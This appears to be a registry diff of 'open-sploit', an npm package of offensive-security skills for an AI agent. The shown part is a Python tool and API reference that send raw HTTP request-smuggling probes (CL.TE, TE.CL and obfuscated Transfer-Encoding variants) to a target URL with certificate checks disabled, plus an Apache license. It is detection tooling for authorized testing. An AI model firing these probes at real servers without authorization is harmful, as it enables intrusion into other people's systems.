open-sploit 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +75 -0
- package/bin/install.mjs +158 -0
- package/package.json +27 -0
- package/template/agent/offsec.md +53 -0
- package/template/command/target.md +45 -0
- package/template/config/opencode.example.json +46 -0
- package/template/skills/api-security-testing/SKILL.md +61 -0
- package/template/skills/conducting-api-security-testing/LICENSE +201 -0
- package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
- package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
- package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
- package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
- package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
- package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
- package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
- package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
- package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
- package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
- package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
- package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
- package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
- package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
- package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
- package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
- package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
- package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
- package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
- package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
- package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
- package/template/skills/hackerone/SKILL.md +137 -0
- package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
- package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
- package/template/skills/hackerone/tools/__init__.py +0 -0
- package/template/skills/hackerone/tools/csv_parser.py +185 -0
- package/template/skills/hackerone/tools/report_validator.py +285 -0
- package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
- package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
- package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
# API Reference: HTTP Request Smuggling Detection Agent
|
|
2
|
+
|
|
3
|
+
## Dependencies
|
|
4
|
+
|
|
5
|
+
| Library | Version | Purpose |
|
|
6
|
+
|---------|---------|---------|
|
|
7
|
+
| requests | >=2.28 | Architecture fingerprinting via HTTP headers |
|
|
8
|
+
| socket/ssl | stdlib | Raw HTTP request construction for smuggling probes |
|
|
9
|
+
|
|
10
|
+
## CLI Usage
|
|
11
|
+
|
|
12
|
+
```bash
|
|
13
|
+
python scripts/agent.py --url https://target.example.com/ --output smuggling.json
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
## Functions
|
|
17
|
+
|
|
18
|
+
### `identify_architecture(url) -> dict`
|
|
19
|
+
Sends a GET request and inspects `Server`, `Via`, `X-Served-By`, `CF-Ray` headers to identify proxy/CDN chain.
|
|
20
|
+
|
|
21
|
+
### `send_raw_request(host, port, request_bytes, use_ssl, timeout) -> tuple`
|
|
22
|
+
Low-level socket send for crafting ambiguous HTTP requests. Returns `(response_bytes, elapsed_seconds, error)`.
|
|
23
|
+
|
|
24
|
+
### `test_clte_detection(host, port, use_ssl) -> dict`
|
|
25
|
+
Sends a CL.TE probe with mismatched `Content-Length` and incomplete chunked body. A response delay >5s suggests vulnerability.
|
|
26
|
+
|
|
27
|
+
### `test_tecl_detection(host, port, use_ssl) -> dict`
|
|
28
|
+
Sends a TE.CL probe. Back-end reading `Content-Length` receives extra data that becomes the next request prefix.
|
|
29
|
+
|
|
30
|
+
### `test_te_te_detection(host, port, use_ssl) -> dict`
|
|
31
|
+
Tests 5 `Transfer-Encoding` header obfuscation variants to detect differential parsing.
|
|
32
|
+
|
|
33
|
+
### `run_assessment(url) -> dict`
|
|
34
|
+
Orchestrates all tests and compiles results.
|
|
35
|
+
|
|
36
|
+
## Smuggling Types
|
|
37
|
+
|
|
38
|
+
| Type | Front-End Uses | Back-End Uses | Detection |
|
|
39
|
+
|------|---------------|---------------|-----------|
|
|
40
|
+
| CL.TE | Content-Length | Transfer-Encoding | Time delay on incomplete chunk |
|
|
41
|
+
| TE.CL | Transfer-Encoding | Content-Length | Extra data becomes next request |
|
|
42
|
+
| TE.TE | Transfer-Encoding | Transfer-Encoding | Obfuscated TE header parsed differently |
|
|
43
|
+
|
|
44
|
+
## Output Schema
|
|
45
|
+
|
|
46
|
+
```json
|
|
47
|
+
{
|
|
48
|
+
"target": "https://target.example.com/",
|
|
49
|
+
"architecture": {"server": "nginx", "cdn": "Cloudflare"},
|
|
50
|
+
"tests": {"CL.TE": {"likely_vulnerable": false}, ...},
|
|
51
|
+
"summary": {"clte_vulnerable": false, "tecl_vulnerable": false}
|
|
52
|
+
}
|
|
53
|
+
```
|
|
@@ -0,0 +1,196 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# For authorized testing in lab/CTF environments only
|
|
3
|
+
"""HTTP request smuggling detection agent using raw socket and requests."""
|
|
4
|
+
|
|
5
|
+
import argparse
|
|
6
|
+
import json
|
|
7
|
+
import logging
|
|
8
|
+
import socket
|
|
9
|
+
import ssl
|
|
10
|
+
import sys
|
|
11
|
+
import time
|
|
12
|
+
from urllib.parse import urlparse
|
|
13
|
+
|
|
14
|
+
try:
|
|
15
|
+
import requests
|
|
16
|
+
except ImportError:
|
|
17
|
+
sys.exit("requests is required: pip install requests")
|
|
18
|
+
|
|
19
|
+
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
|
20
|
+
logger = logging.getLogger(__name__)
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def identify_architecture(url: str) -> dict:
|
|
24
|
+
"""Identify the front-end/back-end HTTP architecture from response headers."""
|
|
25
|
+
resp = requests.get(url, timeout=10, allow_redirects=False)
|
|
26
|
+
headers = dict(resp.headers)
|
|
27
|
+
arch = {
|
|
28
|
+
"url": url,
|
|
29
|
+
"server": headers.get("Server", "unknown"),
|
|
30
|
+
"via": headers.get("Via", ""),
|
|
31
|
+
"x_served_by": headers.get("X-Served-By", ""),
|
|
32
|
+
"x_cache": headers.get("X-Cache", ""),
|
|
33
|
+
"cf_ray": headers.get("CF-Ray", ""),
|
|
34
|
+
"http_version": f"HTTP/{resp.raw.version / 10:.1f}" if hasattr(resp.raw, "version") else "unknown",
|
|
35
|
+
}
|
|
36
|
+
if arch["cf_ray"]:
|
|
37
|
+
arch["cdn"] = "Cloudflare"
|
|
38
|
+
elif "cloudfront" in headers.get("X-Amz-Cf-Id", "").lower():
|
|
39
|
+
arch["cdn"] = "AWS CloudFront"
|
|
40
|
+
elif arch["x_cache"]:
|
|
41
|
+
arch["cdn"] = "Varnish/CDN"
|
|
42
|
+
logger.info("Architecture: server=%s, cdn=%s", arch["server"], arch.get("cdn", "none"))
|
|
43
|
+
return arch
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def send_raw_request(host: str, port: int, request_bytes: bytes,
|
|
47
|
+
use_ssl: bool = True, timeout: float = 10.0) -> tuple:
|
|
48
|
+
"""Send a raw HTTP request and measure response time."""
|
|
49
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
50
|
+
sock.settimeout(timeout)
|
|
51
|
+
if use_ssl:
|
|
52
|
+
context = ssl.create_default_context()
|
|
53
|
+
context.check_hostname = False
|
|
54
|
+
context.verify_mode = ssl.CERT_NONE
|
|
55
|
+
sock = context.wrap_socket(sock, server_hostname=host)
|
|
56
|
+
start = time.time()
|
|
57
|
+
try:
|
|
58
|
+
sock.connect((host, port))
|
|
59
|
+
sock.sendall(request_bytes)
|
|
60
|
+
response = b""
|
|
61
|
+
while True:
|
|
62
|
+
try:
|
|
63
|
+
chunk = sock.recv(4096)
|
|
64
|
+
if not chunk:
|
|
65
|
+
break
|
|
66
|
+
response += chunk
|
|
67
|
+
except socket.timeout:
|
|
68
|
+
break
|
|
69
|
+
except Exception as exc:
|
|
70
|
+
elapsed = time.time() - start
|
|
71
|
+
return b"", elapsed, str(exc)
|
|
72
|
+
finally:
|
|
73
|
+
sock.close()
|
|
74
|
+
elapsed = time.time() - start
|
|
75
|
+
return response, elapsed, None
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
def test_clte_detection(host: str, port: int, use_ssl: bool = True) -> dict:
|
|
79
|
+
"""Test for CL.TE smuggling via time-based detection."""
|
|
80
|
+
probe = (
|
|
81
|
+
f"POST / HTTP/1.1\r\n"
|
|
82
|
+
f"Host: {host}\r\n"
|
|
83
|
+
f"Content-Length: 4\r\n"
|
|
84
|
+
f"Transfer-Encoding: chunked\r\n"
|
|
85
|
+
f"\r\n"
|
|
86
|
+
f"1\r\nA\r\nX"
|
|
87
|
+
).encode()
|
|
88
|
+
|
|
89
|
+
response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=15)
|
|
90
|
+
vulnerable = elapsed > 5.0 and not error
|
|
91
|
+
result = {
|
|
92
|
+
"test": "CL.TE",
|
|
93
|
+
"response_time": round(elapsed, 2),
|
|
94
|
+
"likely_vulnerable": vulnerable,
|
|
95
|
+
"error": error,
|
|
96
|
+
}
|
|
97
|
+
logger.info("CL.TE test: %.2fs response (vulnerable=%s)", elapsed, vulnerable)
|
|
98
|
+
return result
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
def test_tecl_detection(host: str, port: int, use_ssl: bool = True) -> dict:
|
|
102
|
+
"""Test for TE.CL smuggling via differential response."""
|
|
103
|
+
probe = (
|
|
104
|
+
f"POST / HTTP/1.1\r\n"
|
|
105
|
+
f"Host: {host}\r\n"
|
|
106
|
+
f"Content-Length: 6\r\n"
|
|
107
|
+
f"Transfer-Encoding: chunked\r\n"
|
|
108
|
+
f"\r\n"
|
|
109
|
+
f"0\r\n\r\nX"
|
|
110
|
+
).encode()
|
|
111
|
+
|
|
112
|
+
response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=15)
|
|
113
|
+
status = ""
|
|
114
|
+
if response:
|
|
115
|
+
first_line = response.split(b"\r\n", 1)[0].decode(errors="ignore")
|
|
116
|
+
status = first_line
|
|
117
|
+
|
|
118
|
+
vulnerable = elapsed > 5.0 and not error
|
|
119
|
+
result = {
|
|
120
|
+
"test": "TE.CL",
|
|
121
|
+
"response_time": round(elapsed, 2),
|
|
122
|
+
"response_status": status,
|
|
123
|
+
"likely_vulnerable": vulnerable,
|
|
124
|
+
"error": error,
|
|
125
|
+
}
|
|
126
|
+
logger.info("TE.CL test: %.2fs (vulnerable=%s)", elapsed, vulnerable)
|
|
127
|
+
return result
|
|
128
|
+
|
|
129
|
+
|
|
130
|
+
def test_te_te_detection(host: str, port: int, use_ssl: bool = True) -> dict:
|
|
131
|
+
"""Test for TE.TE smuggling with obfuscated Transfer-Encoding headers."""
|
|
132
|
+
obfuscations = [
|
|
133
|
+
"Transfer-Encoding: xchunked",
|
|
134
|
+
"Transfer-Encoding : chunked",
|
|
135
|
+
"Transfer-Encoding: chunked\r\nTransfer-Encoding: x",
|
|
136
|
+
"Transfer-Encoding:\tchunked",
|
|
137
|
+
"X: x\r\nTransfer-Encoding: chunked",
|
|
138
|
+
]
|
|
139
|
+
results = []
|
|
140
|
+
for obf in obfuscations:
|
|
141
|
+
probe = (
|
|
142
|
+
f"POST / HTTP/1.1\r\n"
|
|
143
|
+
f"Host: {host}\r\n"
|
|
144
|
+
f"Content-Length: 4\r\n"
|
|
145
|
+
f"{obf}\r\n"
|
|
146
|
+
f"\r\n"
|
|
147
|
+
f"1\r\nA\r\nX"
|
|
148
|
+
).encode()
|
|
149
|
+
response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=10)
|
|
150
|
+
results.append({
|
|
151
|
+
"obfuscation": obf.replace("\r\n", " | "),
|
|
152
|
+
"response_time": round(elapsed, 2),
|
|
153
|
+
"suspicious": elapsed > 5.0,
|
|
154
|
+
})
|
|
155
|
+
return {"test": "TE.TE", "obfuscation_results": results}
|
|
156
|
+
|
|
157
|
+
|
|
158
|
+
def run_assessment(url: str) -> dict:
|
|
159
|
+
"""Run the full HTTP request smuggling assessment."""
|
|
160
|
+
parsed = urlparse(url)
|
|
161
|
+
host = parsed.hostname
|
|
162
|
+
use_ssl = parsed.scheme == "https"
|
|
163
|
+
port = parsed.port or (443 if use_ssl else 80)
|
|
164
|
+
|
|
165
|
+
arch = identify_architecture(url)
|
|
166
|
+
clte = test_clte_detection(host, port, use_ssl)
|
|
167
|
+
tecl = test_tecl_detection(host, port, use_ssl)
|
|
168
|
+
tete = test_te_te_detection(host, port, use_ssl)
|
|
169
|
+
|
|
170
|
+
return {
|
|
171
|
+
"target": url,
|
|
172
|
+
"architecture": arch,
|
|
173
|
+
"tests": {"CL.TE": clte, "TE.CL": tecl, "TE.TE": tete},
|
|
174
|
+
"summary": {
|
|
175
|
+
"clte_vulnerable": clte["likely_vulnerable"],
|
|
176
|
+
"tecl_vulnerable": tecl["likely_vulnerable"],
|
|
177
|
+
"any_suspicious": any(r["suspicious"] for r in tete["obfuscation_results"]),
|
|
178
|
+
},
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
|
|
182
|
+
def main():
|
|
183
|
+
parser = argparse.ArgumentParser(description="HTTP Request Smuggling Detection Agent")
|
|
184
|
+
parser.add_argument("--url", required=True, help="Target URL")
|
|
185
|
+
parser.add_argument("--output", default="smuggling_report.json")
|
|
186
|
+
args = parser.parse_args()
|
|
187
|
+
|
|
188
|
+
report = run_assessment(args.url)
|
|
189
|
+
with open(args.output, "w") as f:
|
|
190
|
+
json.dump(report, f, indent=2)
|
|
191
|
+
logger.info("Report saved to %s", args.output)
|
|
192
|
+
print(json.dumps(report, indent=2))
|
|
193
|
+
|
|
194
|
+
|
|
195
|
+
if __name__ == "__main__":
|
|
196
|
+
main()
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to the Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by the Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding any notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. Please do not remove or change
|
|
186
|
+
the license header comment from a contributed file except when
|
|
187
|
+
necessary.
|
|
188
|
+
|
|
189
|
+
Copyright 2026 mukul975
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|